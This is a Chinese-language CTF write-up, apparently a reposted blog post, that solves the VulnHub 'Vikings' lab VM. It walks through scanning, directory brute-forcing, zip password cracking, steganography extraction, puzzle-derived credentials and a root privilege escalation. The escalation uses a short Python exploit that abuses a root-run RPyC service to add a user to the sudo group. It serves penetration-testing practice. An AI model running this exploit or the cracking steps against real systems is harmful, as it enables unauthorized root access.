打靶记录9——Vikings

news2024/11/24 17:16:34

靶机下载地址:https://www.vulnhub.com/entry/vikings-1,741/

难度:

  • 低(中),CTF风格的靶机

目标:

  • 取得 root 权限 + 2 个flag

涉及的攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • 编码转换/文件还原
  • 离线密码破解
  • 隐写术
  • 二进制文件提取
  • 素数查找/科拉茨猜想
  • RPC漏洞提权

主机发现:

sudo arp-scan -l
image.png

端口扫描和服务发现

sudo nmap -p- 192.168.31.27
image.png
sudo nmap -p22,80 -sV -sC 192.168.31.27
image.png
发现一个site/路径,直接访问浏览器
image.png
访问链接,页面加载有点慢,查看源代码发现是加载了外国网站的一些js文件
image.png
首页有一个名字ragnar,是维京首领
image.png

目录扫描

使用工具gobuster
sudo gobuster dir -r -u http://192.168.31.27/site/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x txt,php,html
image.png
访问发现一个新路径
image.png
发现一大堆Base64编码
image.png
使用Cyberchef工具解码解析,选择From Base64,发现PK文件头,是zip文件的文件头
image.png
image.png
选择Detect File Type识别一下是什么文件格式,发现是zip文件
image.png
直接保存,点右边的按钮
image.png
解压它发现需要密码
image.png
zip2john download.zip > hash将压缩文件转换为john可以识别的格式并保存为一个hash文件
john hash --wordlist=/usr/share/wordlists/rockyou.txt使用rockyou.txt大字典进行暴力破解,破解成功密码ragnarok123
image.png
使用密码ragnarok123解压获得图片king
image.png
steghide info king查看文件是否有隐藏信息,发现有,但是查看信息需要密码
image.png
原本是想通过shell脚本的方式来爆破密码,但是无法成功

for i in $(cat "rockyou.txt"); do steghide extract king -p $i; done

那么换其他方式
binwalk -B king查看详细信息
image.png
binwalk -e king直接强制提取
image.png
查看user文件内容,发现疑似ssh登录的信息
image.png
ssh floki@192.168.31.27直接登录
账号floki;密码f@m0usboatbuilde7尝试登录成功
image.png
在当前目录下发现两个文件,依次查看

  • 发现readme里说必须要创建boat才能找到ragnar账号,在boat文件中发现两段伪代码,提示需要找到第29个质数,拿这个质数去进行科拉茨猜想的计算生成一串数字,将这段数字中符合ASCII编码的字符给筛选出来,应该就是ragnar账号的密码

image.png
首先需要找到第29个质数

n = 0
for x in range(1000):
    if x < 2:
        continue
    h = int(x / 2) + 1
    for i in range(2,h):
        if x % i == 0:
            break
    else:
        n +=1
        print(n, ":", x)

image.png
第29个质数是109
接下来做科拉茨猜想运算

i = 109
c = [i]
while i != 1:
    if i % 2 ==1:
        i = i * 3 + 1
    else:
        i = i // 2
    if i < 256:
        c.append(i)
print(c)

image.png
将这段数字中符合ASCII编码的字符给筛选出来
image.png
image.png
mR)|>^/Gky[gz=\.F#j5P(,用这个密码成功登录,登录发现它以sudo的权限执行了什么命令
image.png
image.png
bash 中,-i 参数表示启动一个交互式 shell。使用 /bin/bash -i 会启动一个新的 bash 实例,并使其处于交互模式,这样你可以输入命令并实时获得反馈。这种模式常用于在脚本或命令中模拟交互式会话。

我们知道.bashrc.profile等文件可以设置开机后自动执行的命令
image.png
查看.profile文件确实有一串sudo python3 /usr/local/bin/rpyc_classic.py
image.png

提权

vim /usr/local/bin/rpyc_classic.py查看该python文件
image.png
这看起来是一个服务端的接口程序,发现引入了rpyc的库Part 1: Introduction to Classic RPyC — RPyC
RPC就是远程的进程调用,它的作用就是在服务端可以运行一个程序接口,我们可以通过客户端的代码指令去连上服务端的接口,然后去执行服务端的函数和指令
它的默认监听端口是18812
image.png
发现可以通过这段代码去连接,然后通过函数调用,通过阅读官方文档可以快速的学习到
image.png
这个文件的属主是root
image.png
我们可以通过客户端编写一些程序代码,编写一些函数,然后将这些函数提交到服务器端的侦听端口上面,提交给服务器让它帮我执行,由于它的属主是root账号,所以它就会以root账号来执行我们注入的指令

先来查看一下目标靶机上默认的服务端口是否是开着的
ss -pantu | grep 18812
image.png
发现是开着的,说明服务正在运行
ss -pantu 是一个用于显示网络连接的 ss 命令的选项组合。具体参数含义如下:

  • **-p**:显示与套接字相关的进程信息。
  • **-a**:显示所有套接字(包括监听和非监听状态)。
  • **-n**:以数字形式显示地址和端口,而非解析为主机名或服务名。
  • **-t**:显示 TCP 套接字。
  • **-u**:显示 UDP 套接字。

综上,ss -pantu 命令会列出所有的 TCP 和 UDP 网络连接,并显示相关的进程信息,使用数字格式显示地址和端口。

在靶机上编辑一个exp.py,在目标靶机上去执行

import rpyc
def shell():
    import os
    os.system("sudo usermod -a -G sudo ragnar")
conn = rpyc.classic.connect("localhost")
fn = conn.teleport(shell)
fn()

代码是把我们自己添加进入到sudo的组里面
运行代码之后,如果成功了的话,在我们下次登录目标靶机的时候就是具有sudo权限的了
image.png
ssh ragnar@192.168.0.103,密码mR)|>^/Gky[gz=\.F#j5P(
image.png
然后当前要求我们输入的sudo密码我们就不去管它了,直接敲三次回车就行,这样就登录进来了
image.png
然后用/bin/bash -i简单的升级一下shell,发现提示To run a command as administrator (user "root"), use "sudo <command>".说明我们刚刚把自己加入sudo组里面的操作是成功了的,所以我们登录的时候它就会提示我们是sudo组的人了

sudo -s直接提权成功!
image.png

总结:

  • 主机发现、端口扫描、服务发现
  • 发现在site目录下存在一个war.txt的文件,访问这个文件发现存在一个路径,访问这个路径发现一大堆的Base64编码的内容
  • 使用CyberChef进行编码转换,发现一个zip文件,保存后打开发现需要密码,于是进行离线的密码破解,解压出一个图片文件
  • 对图片进行隐写术的检查发现有隐藏信息,但是加了密码保护
  • 于是使用二进制的方式强制提取,通过binwalk提取出一个压缩文件,从里面的user.txt发现包含floki账号SSH登录的信息成功登录floki账号
  • 进一步信息搜索,发现readme里说必须要创建boat才能找到ragnar账号,在boat文件中发现两段伪代码,提示需要找到第29个质数,拿这个质数去进行科拉茨猜想的计算生成一串数字,将这段数字中符合ASCII编码的字符给筛选出来,就是ragnar账号的密码
  • 登录ragnar账号,找到一个pythonRPC程序,分析代码发现有机会通过客户端将请求发给服务器端,以root身份去执行一个客户端的请求指令
  • 于是自己编写一段漏洞的利用代码将自己自定义的函数提交到服务端,让服务器帮我们执行,执行结果就是将ragnar账号加入到sudo组里面,通过sudo组的权限直接运行sudo -s命令,通过这个权限去将自己直接提升成root账号
  • 最终拿下这台靶机

学习记录

  • 在打靶过程当中,需要使用很多的自定义的程序代码的编写,所有的这些能力是作为一个渗透测试者需要去具备,需要去打磨,需要去培养的能力。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2036170.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ThinkPHP5.1.C+CmsEasy-SQL注入

目录 1、ThinkPHP 中存在的 SQL注入 漏洞&#xff08; select 方法注入&#xff09; 1.1环境配置 1.1.1将 composer.json 文件的 require 字段设置成如下&#xff1a; 1.1.2设置application/index/controller/Index.php 文件 1.1.3在 application/database.php 文件中配置…

Xcode 在原生集成flutter项目

笔者公司有一个从2017年就开始开发的iOS和安卓原生项目&#xff0c;现在计划从外到内开始进行项目迁徙。 1》从gitee拉取flutter端的代码&#xff1b;&#xff08;Android报错Exception: Podfile missing&#xff09; 2》替换Xcode里的cocopods里Podfile的路径 然后报警 然后…

centos7.9删除home分区扩容至根分区

一、说明 拿到新服务器查看磁盘空间分为根(/),home,swap,boot/efi。home分区站到整个分区的87%以上。和预设的不一致&#xff0c;需要把home删除&#xff0c;扩容至根分区。 新服务器的分区是通过lvm划分的。 二、查看磁盘 三、查看磁盘分区 四、卸载home 卸载前做好备份&a…

自由职业四年,我整理了一些建议

我是勋荣&#xff0c;一个独立开发者。运营了自己的社群&#xff0c;有自己的软件产品。目前还在探索各种副业的路上~ 1我的独立开发之路 刚毕业就找不到Android岗位的我瑟瑟发抖。在广州&#xff0c;稀里糊涂做了Java后端开发。有一天加班 通宵&#xff0c;早上借住在同事家…

机器学习速成第三集——无监督学习之聚类(理论部分)!

目录 聚类的定义和原理 常见的聚类算法 应用场景 总结 无监督学习中聚类算法的最新进展是什么&#xff1f; K-Means聚类算法在处理大规模数据集时的性能优化方法有哪些&#xff1f; 并行计算模型&#xff1a; 多核处理器优化&#xff1a; 分层抽样&#xff1a; 特征缩…

【数值计算方法】非线性方程求根-数值实验

第一题 newton method 非线性方程组的向量函数为: F ( x , y ) ( f 1 ( x , y ) f 2 ( x , y ) ) { ( x − 2 ) 2 ( y − 3 2 x ) 2 − 5 0 , 2 ( x − 3 ) 2 ( y / 3 ) 2 − 4 0. F(x,y)\begin{pmatrix} f_1(x,y)\\f_2(x,y)\end{pmatrix}\left.\left\{\begin{array}{…

Linux 基本指令讲解

linux 基本指令 clear 清屏 Alt Enter 全屏/退出全屏 pwd 显示当前用户所处路径 cd 改变目录 cd /root/mikecd … 返回上级目录cd - 返回最近所处的路径cd ~ 直接返回当前用户自己的家目 roor 中&#xff1a;/root普通用户中&#xff1a;/home/mike mkdir 创建一个文件夹(d) …

高可用集群keepalived详解(基础部署与企业应用示例)

目录 一、高可用集群简介 1.1 集群的类型 1.2系统的可用性 1.3 如何实现高可用 1.4 VRRP(虚拟路由冗余协议)---解决静态网关单点风险 1.4.1 VRRP相关术语 1.4.2 VRRP相关技术 二、Keepalived 部署 2.1 keepalived 架构 2.2 环境准备 三、keepalived基本配置 3.1 全局…

UE开发中的设计模式(三) —— 对象池模式

在FPS游戏中&#xff0c;射击会生成子弹&#xff0c;在命中敌人后子弹会被销毁&#xff0c;那么会导致子弹对象频繁地创建和销毁&#xff0c;会造成运行效率降低且会产生内存碎片问题&#xff0c;而对象池模式可以很好地解决这个问题。 文章目录 问题提出概述问题解决总结 问题…

【C语言】常用函数汇总表

目录 1. C语言常用函数汇总表&#xff08;概念功能&#xff09;1.1 输入/输出函数&#xff08;<stdio.h>&#xff09;1.2 字符串操作函数&#xff08;<string.h>&#xff09;1.3 内存管理函数&#xff08;<stdlib.h>&#xff09;1.4 数学函数&#xff08;<…

快排/堆排/归并/冒泡/

常见的内排序算法 插入排序 直接插入排序 原理&#xff1a;相当于扑克牌变成有序&#xff0c;先拿第一张&#xff0c;把他调节成有序&#xff0c;再拿第二张&#xff0c;与第一张相比找到第二张的位置&#xff0c;再继续拿第三张&#xff0c;以此类推。 void InsertSort(in…

Jupyter Notebook修改文件的默认保存路径

1&#xff0c;安装好后Jupyter Notebook的默认保存路径为用户文件夹&#xff0c; 在jupyter中新建的文件会保存在这里 2&#xff0c;新建一个自己想用来存放Jupyter文件的文件夹 3&#xff0c;找到jupyter的config文件&#xff0c;jupyter_notebook_config.py 4&#xff0c;…

俞敏洪,真窝囊?

文&#xff5c;琥珀食酒社 作者 | 璇子 大家都被俞敏洪骗了 当年《中国合伙人》一播出 俞敏洪竟抱怨黄晓明说&#xff1a; “你把我演得太窝囊&#xff01;” 那俞敏洪真的不窝囊吗&#xff1f; 他培养出董宇辉 让他赚了近6亿 结果人没留住、公司也送了人 还要被丈母娘…

NextJS 服务器端代码调试

NextJS 中如何调试服务器端代码&#xff0c;根据官方文档设置 Chrome 调试&#xff0c;这里有个坑&#xff0c;来看下面配置&#xff1a; {"scripts": {"dev": "NODE_OPTIONS--inspect next dev"} }启动成功&#xff0c;有两个端口 9229、9230&…

企业文件加密软件有哪些,2024常用十款文件加密软件推荐

在当今数字化办公环境中&#xff0c;企业文件加密软件是保护商业秘密和敏感数据的关键工具。随着网络攻击和数据泄露事件的增多&#xff0c;选择一款能够提供强有力保护的文件加密软件显得尤为重要。2024年&#xff0c;市场上出现了一系列新的文件加密解决方案&#xff0c;它们…

如何选择企业差旅管理平台?差旅降本指南

企业差旅管理的能力已成为企业运营成本管理的重要一环。如何选择一个高效且可以定制化的差旅管理平台,已成为众多企业降本增效的焦点。本文将结合当前差旅管理的最新理论和技术趋势,来探讨企业如何选择适合自己的差旅管理平台。 第一,选择差旅管理平台的关键因素 1. 差旅预订便…

二级域名分发系统

介绍&#xff1a; 一个不错的二级域名租用系统代码。 二级域名分发系统的用法&#xff1a;弄几个已经备案的域名分发一下赚点小钱&#xff0c;自己也用了&#xff0c;别人也用了&#xff0c;然后也回本了&#xff0c;搞得好还可以挣点小钱。 不懂的就不要下载了。 代码下载…

全网最最最详细的haproxy详解!!!

1 什么是负载均衡 负载均衡&#xff08;Load Balancing&#xff09;是一种将网络请求或工作负载分散到多个服务器或计算机资源上的技术&#xff0c;以实现优化资源使用、提高系统吞吐量、增强数据冗余和故障容错能力、以及减少响应时间的目的。在分布式系统、云计算环境、Web服…

day28-lsync服务+scp命令

假设nfs服务器挂了&#xff0c;就要走backup服务器也部署nfs 这种情况下&#xff0c;rsync和nfs要用到同一个文件夹&#xff0c; 所以他俩管理文件夹权限必须一样 1. lsyncrsyncnfs rsync服务 10.0.0.41 1.安装rsync [rootbackup:~]#yum -y install rsync 2.配置rsync[root…

在Notebook中使用backtrader绘图出现 Javascript Error: IPython is not defined

01背景说明 首先&#xff0c;说明一下背景。我的电脑在2024年6月时使用backtrader进行cerebro.plot()是没有问题的&#xff0c;图能够在Notebook中正常显示&#xff0c;没有错误提示。 2024年7月下旬&#xff0c;连续学习和试用了好几个AI工具后&#xff0c;我鬼使神差点了No…